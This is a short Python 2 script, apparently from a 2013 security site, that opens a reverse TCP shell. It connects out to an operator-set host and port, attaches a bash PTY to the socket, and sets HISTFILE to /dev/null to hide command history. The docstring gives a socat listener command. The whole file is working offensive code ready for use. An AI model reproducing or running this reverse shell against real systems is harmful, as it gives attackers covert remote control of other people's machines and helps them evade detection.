#!/usr/bin/python2 """ Reverse Connect TCP PTY Shell - v1.0 infodox - insecurety.net (2013) Gives a reverse connect PTY over TCP. For an excellent listener use the following socat command: socat file:`tty`,echo=0,raw tcp4-listen:PORT Or use the included tcp_pty_shell_handler.py """ import os import pty import socket lhost = "127.0.0.1" # XXX: CHANGEME lport = 31337 # XXX: CHANGEME def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main()